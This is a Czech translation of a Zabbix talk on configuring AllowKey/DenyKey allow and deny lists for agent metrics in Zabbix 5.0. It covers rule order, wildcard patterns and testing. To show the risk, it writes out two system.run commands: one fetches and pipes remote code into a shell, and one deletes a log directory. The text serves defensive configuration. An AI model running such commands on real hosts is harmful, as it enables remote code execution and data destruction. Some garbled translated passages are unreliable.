Podpora blacklistů a whitelistů pro metriky na straně agentů
Tichon Uskov, integrační inženýr, Zabbix
Problémy se zabezpečením dat
Zabbix 5.0 má novou funkci, která umožňuje zlepšit zabezpečení v systémech využívajících Zabbix Agent a nahrazuje starý parametr EnableRemoteCommands.
Zlepšení zabezpečení systémů založených na agentech pramení ze skutečnosti, že agent může provádět velké množství potenciálně nebezpečných akcí.
- Agent může shromažďovat téměř jakékoli informace, včetně důvěrných nebo potenciálně nebezpečných informací, z konfiguračních souborů, souborů protokolu, souborů s hesly nebo jakýchkoli jiných souborů.
Například pomocí nástroje zabbix_get získáte přístup k seznamu uživatelů, jejich domovským adresářům, souborům hesel atd.
Přístup k datům pomocí nástroje zabbix_get
POZNÁMKA. Data lze načíst pouze v případě, že má agent oprávnění ke čtení příslušného souboru. Ale např. spis /etc/passwd/ čitelné pro všechny uživatele.
- Agent může také provádět potenciálně nebezpečné příkazy. Například klíč *system.run[]** umožňuje spouštět libovolné vzdálené příkazy na síťových uzlech, včetně spouštění skriptů z webového rozhraní Zabbix, které také provádějí příkazy na straně agenta.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
- V systému Linux běží agent ve výchozím nastavení bez oprávnění root, zatímco v systému Windows běží jako služba jako System a má neomezený přístup k systému souborů. Pokud tedy po instalaci nebudou provedeny žádné změny parametrů Zabbix Agenta, bude mít agent přístup k registru, systému souborů a může spouštět dotazy WMI.
V dřívějších verzích parametr EnableRemoteCommands=0 povoleno pouze zakázat metriky pomocí klíče *system.run[]** a spouštění skriptů z webového rozhraní, ale neexistoval způsob, jak omezit přístup k jednotlivým souborům, povolit nebo zakázat jednotlivé klíče, které byly nainstalovány s agentem, nebo omezit použití jednotlivých parametrů.
Použití parametru EnableRemoteCommand v dřívějších verzích Zabbix
AllowKey/DenyKey
Zabbix 5.0 pomáhá chránit před takovým neoprávněným přístupem tím, že poskytuje whitelisty a blacklisty pro povolení a zamítnutí metrik na straně agenta.
V Zabbix 5.0 všechny klíče, včetně *system.run[]** jsou povoleny a byly přidány dvě nové možnosti konfigurace agenta:
AllowKey= — povolené kontroly;
DenyKey= — zakázané kontroly;
kde je vzor názvu klíče s parametry, který používá metaznaky (*).
Klávesy AllowKey a DenyKey umožňují povolit nebo zakázat jednotlivé metriky na základě konkrétního vzoru. Na rozdíl od jiných konfiguračních parametrů není počet parametrů AllowKey/DenyKey omezen. To umožňuje jasně definovat, co přesně může agent v systému dělat, a to vytvořením stromu kontrol – spustitelných klíčů, kde velmi důležitou roli hraje pořadí, ve kterém jsou zapsány.
Posloupnost pravidel
Pravidla se kontrolují v pořadí, v jakém jsou zadána do konfiguračního souboru. Klíč je před první shodou zkontrolován podle pravidel a jakmile se klíč datového prvku shoduje se vzorem, je povolen nebo zamítnut. Poté se kontrola pravidel zastaví a zbývající klíče jsou ignorovány.
Pokud tedy prvek odpovídá pravidlu povolení i zákazu, bude výsledek záviset na tom, které pravidlo je v konfiguračním souboru první.
2 různá pravidla se stejným vzorem a klíčem vfs.file.size[/tmp/file]
Pořadí použití kláves AllowKey/DenyKey:
- přesná pravidla,
- hlavní pravidla,
- zakazující pravidlo.
Pokud například potřebujete přístup k souborům v určité složce, musíte k nim nejprve povolit přístup a poté zakázat vše ostatní, co nespadá do stanovených oprávnění. Je-li jako první použito pravidlo zakázat, bude přístup ke složce zakázán.
Správná sekvence
Pokud potřebujete povolit spuštění 2 nástrojů přes *system.run[]** a pravidlo odmítnutí bude specifikováno jako první, nástroje nebudou spuštěny, protože první vzor bude vždy odpovídat libovolnému klíči a následná pravidla budou ignorována.
Nesprávná sekvence
Vzory
Základní pravidla
Vzor je výraz se zástupnými znaky. Metaznak (*) odpovídá libovolnému počtu libovolných znaků na určité pozici. Metaznaky lze použít jak v názvu klíče, tak v parametrech. Můžete například striktně definovat první parametr pomocí textu, a zadejte následující jako zástupný znak.
Parametry musí být uzavřeny v hranatých závorkách [].
system.run[*
- špatněvfs.file*.txt]
- špatněvfs.file.*[*]
- že jo
Příklady použití zástupných znaků.
- V názvu klíče a v parametru. V tomto případě klíč neodpovídá podobnému klíči, který neobsahuje parametr, protože ve vzoru jsme uvedli, že chceme získat určitou koncovku názvu klíče a určitou sadu parametrů.
- Pokud vzor nepoužívá hranaté závorky, vzor povolí všechny klíče, které neobsahují parametry, a zakáže všechny klíče, které obsahují zadaný parametr.
- Pokud je klíč zapsán celý a parametry jsou specifikovány jako zástupný znak, bude odpovídat jakémukoli podobnému klíči s libovolnými parametry a nebude odpovídat klíči bez hranatých závorek, tj. bude povolen nebo zakázán.
Pravidla pro vyplňování parametrů.
- Pokud má být použit klíč s parametry, musí být parametry specifikovány v konfiguračním souboru. Parametry musí být zadány jako metaznak. Je nutné pečlivě zakázat přístup k jakémukoli souboru a vzít v úvahu, jaké informace může metrika poskytnout pod různým pravopisem - s parametry a bez nich.
Vlastnosti psaní klíčů s parametry
- Pokud je klíč zadán s parametry, ale parametry jsou volitelné a zadané jako metaznak, bude vyřešen klíč bez parametrů. Chcete-li například zakázat příjem informací o zátěži CPU a určit, že má být deaktivován klíč system.cpu.load[*], nezapomeňte, že klíč bez parametrů vrátí průměrnou hodnotu zatížení.
Pravidla pro vyplňování parametrů
Poznámky
Nastavení
- Některá pravidla nemůže uživatel změnit, například pravidla zjišťování nebo pravidla automatické registrace agentů. Pravidla AllowKey/DenyKey neovlivňují následující parametry:
- HostnameItem
- HostMetadataItem
- HostInterfaceItem
POZNÁMKA. Pokud správce zakáže klíč, na dotaz Zabbix neposkytne informace o tom, proč metrika nebo klíč spadá do kategorie 'NENÍ PODPOROVÁNO'. Informace o zákazech provádění vzdálených příkazů se také nezobrazují v souborech protokolu agenta. Je to z bezpečnostních důvodů, ale může to zkomplikovat ladění, pokud metriky z nějakého důvodu spadají do nepodporované kategorie.
- Při připojování externích konfiguračních souborů byste neměli spoléhat na žádné konkrétní pořadí (například v abecedním pořadí).
Nástroje příkazového řádku
Po nastavení pravidel se musíte ujistit, že je vše správně nakonfigurováno.
Můžete použít jednu ze tří možností:
- Přidejte metriku do Zabbix.
- Test s zabbix_agentd. Agent Zabbix s opcí -tisknout (-p) zobrazuje všechny klíče (které jsou standardně povoleny) kromě těch, které nejsou povoleny konfigurací. A s možností -test (-t) protože zakázaný klíč se vrátí 'Nepodporovaný klíč položky".
- Test s zabbix_get. Utility zabbix_get s opcí -k vrátí se 'ZBX_NOTSUPPORTED: Neznámá metrika".
Povolit nebo zamítnout
Přístup k souboru můžete odepřít a ověřit například pomocí utility zabbix_getže přístup k souboru je odepřen.
**
POZNÁMKA. Uvozovky v parametru jsou ignorovány.
V tomto případě může být přístup k takovému souboru povolen přes jinou cestu. Například pokud na něj vede symbolický odkaz.
Doporučuje se prověřit různé možnosti uplatnění stanovených pravidel a také vzít v úvahu možnosti obcházení zákazů.
Otázky a odpovědi
otázka. Proč byl k popisu pravidel, povolení a zákazů zvolen tak složitý vzorec s vlastním jazykem? Proč nebylo možné použít například regulární výrazy, které používá Zabbix?
odpověď. Toto je problém s výkonem regulárního výrazu, protože obvykle existuje pouze jeden agent a kontroluje velké množství metrik. Regex je poměrně náročná operace a tímto způsobem nemůžeme zkontrolovat tisíce metrik. Zástupné znaky – univerzální, široce používané a jednoduché řešení.
otázka. Nejsou soubory Zahrnout zahrnuty v abecedním pořadí?
odpověď. Pokud vím, je prakticky nemožné předvídat pořadí, ve kterém budou pravidla aplikována, pokud pravidla rozložíte do různých souborů. Doporučuji shromáždit všechna pravidla AllowKey/DenyKey do jednoho souboru Include, protože se vzájemně ovlivňují, a zahrnout tento soubor.
otázka. V Zabbix 5.0 možnost 'EnableRemoteCommands=' v konfiguračním souboru chybí a jsou k dispozici pouze AllowKey/DenyKey?
Odpovědět. Ano to je správně.
Спасибо за внимание!
Zdroj: www.habr.com